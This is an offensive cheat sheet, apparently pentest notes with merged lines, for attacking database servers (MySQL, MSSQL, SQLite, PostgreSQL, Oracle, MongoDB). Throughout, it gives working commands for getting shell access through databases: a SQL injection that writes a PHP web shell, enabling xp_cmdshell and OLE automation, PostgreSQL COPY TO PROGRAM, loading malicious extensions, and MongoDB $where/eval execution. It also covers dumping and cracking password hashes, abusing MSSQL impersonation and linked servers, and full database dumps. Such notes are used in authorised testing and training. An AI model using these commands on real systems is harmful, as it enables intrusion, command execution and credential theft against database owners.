dbeaver on kali, has a nice GUI and everythingmysql -u {username} -p -h {host IP} -P {port}SELECT user, authentication_string FROM mysql.user WHERE user = '{username}'SELECT * FROM information_schema.tables; (or show databases;)
- Use a database with use {db_name}; and enum tables with show tables;SELECT @@version;SELECT system_user();INTO OUTFILE to create a PHP/JSP/ASPX/etc shell
' UNION SELECT "<?php system('whoami');?>", null, null INTO OUTFILE "/var/www/html/tmp/shell.php" -- //
tmp is important, because we might not have perms for /htmlmysqldump -h [host] -u [user] -p[password] --all-databases > mysql_all_dbs.sqlmysql user, we can sometimes read the /var/lib/mysql/mysql/user.MYD file containing the root password hash
root* and the other at the bottom of the file
root:*{combined_password} which can be cracked with johnSELECT load_file('{file}'); as the root mysql usermaster database for system-level details, msdb database for scheduling alerts/jobs, model database acts as blueprint for new mssqlservers, resource database for hosting system objects in read-only fashion, tempdb database as temporary storage areasa, local Windows users, or Domain usersInvoke-Sqlcmd
Install-Module -Name SqlServer -ForceInvoke-Sqlcmd -ServerInstance localhost\{SQL_server_name} -Database {database_like_master} -Query {query}Get-SQLInstanceLocal to identify local mssql servers
Get-SQLServerPasswordHash gets SQL server login passwordsGet-SQLServerLink
- With auth: -Username {mssql_username} -Password {mssql_password} -Instance {server_name} -Verboseimpacket-mssqlclient to connect to MSSQL databasesimpacket-mssqlclient {database_username}:{password}@{host IP}
-windows-auth allows us to authenticate with windows credentials; -k to use .ccache kerberos authenable_xp_cmdshell and xp_cmdshell {command} to execute commands on the underlying serversp_start_job {command} to execute commands, or the sp_OACreate method described belowxp_cmdshell "powershell -exec bypass -enc {b64_payload}"select name,password_hash from sys.sql_logins
##MS## hashes, since they’re usually disabled (can be checked in sys.sql_logins) and the passwords are randomb'0200 + 4-byte salt + 64-byte SHA512 hash' structure, and we need it in 0x{hex} format, so just remove byte string indicators and add 0x at the fronthashcat -m 1731enum_impersonate to see who our current user can impersonate (grantor category)
exec_as_user {user} or exec_as_login {login} on their own, which will drop us into a shell as that user/in that database
exec_as_{user/login} {domain}\{user}enum_impersonate again to see if our new user can impersonate anyonesa user, an equivalently-privileged user, or a dbo login of the system database
dbo login stands for Database Owner and gives full control over that databaseenum_linksNULL has a remote login, we can just execute queries without authuse_link {server_name}, and then interact with the database normallysa user won’t show any explicit links, since they’re able to impersonate any user with a link
saenum_links as sa (or equivalent) will show all user links, allowing different chainsSELECT * FROM OPENQUERY( {linked_server_name}, '{query}')SELECT name FROM sys.databases;SELECT * FROM {database name from first query}.information_schema.tables;SELECT * from {database name}.dbo.{table name}
dbo is a table schemaxp_cmdshell:
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;EXECUTE sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXECUTE xp_cmdshell 'whoami';sp_OACreate to execute system commands:
sp_configure 'show advanced options', 1;RECONFIGURE;sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;DECLARE @shell INT; EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT; EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c {command}';Invoke-Sqlcmd -ServerInstance [server] -Username [user] -Password [password] -Query "SELECT name FROM master.sys.databases" | Format-Table -AutoSize > mssql_dbs.txtsqlitebrowser for viewing sqlite databases visually
sqlite3 {db_file}.version, databases with .databases, tables with .tablesSELECT load_extension('/tmp/malicious.so');SQLite CLI allows command execution with .shell {command} or .system {command}.read {filename}Installation
sudo apt install libpq-devsudo apt-get install --reinstall postgresql-clientUsage
psql -U {username} for to connect to PostgreSQL databases (with -d {db_name} for a database)
\l and use \c {db_name} to connect to the database\d to list the tables once connectedSELECT usename, passwd FROM pg_shadow;SELECT * FROM pg_authid;-m 28600 on hashcatCOPY (SELECT '') TO PROGRAM 'bash -c "whoami"';
SELECT pg_execute_server_program('id');
pg_execute_server_programpg_dump -h [host] -U [username] -F c -b -v -f postgresql_all.dump postgresCOPY
CREATE TABLE demo(t text);COPY demo FROM '{filename}';, and then we can just read from the demo tableErrors
no PostgreSQL user name specified in startup packet, make sure to add env variables:export PGUSER={username}
export PGDATABASE={database_name}
EXEC dbms_java.runjava('java.lang.Runtime.getRuntime().exec("{command}")');sqlplus [username]/[password]@[host]/[SID] @extract.sql > oracle_data.txtmongodump --host [host] --port [port] --username [user] --password [password] --out ./mongodb_dumpmongosh or mongo
mongo --host {IP}:{port} -u {username} -p {password} --authenticationDatabase {database_with_auth_info} ({database_to_use})show dbs and use {db}
show collectionsdb.{collection}.find()use admin
db.system.users.find().forEach(function(u) {
print(u.user + ":" + u.credentials["SCRAM-SHA-1"].storedKey);
})
db.getCollectionNames().filter(c =>
c.match(/user|password|credential|token|key|secret|admin/i)
)
db.collection.find({$where: "{command} || true"})db.collection.find({$where: function() {
var cmd = "whoami";
var output = run("bash", "-c", cmd);
return true;
}})
runCommand()
db.runCommand({
eval: "function() { return run('whoami'); }",
nolock: true
})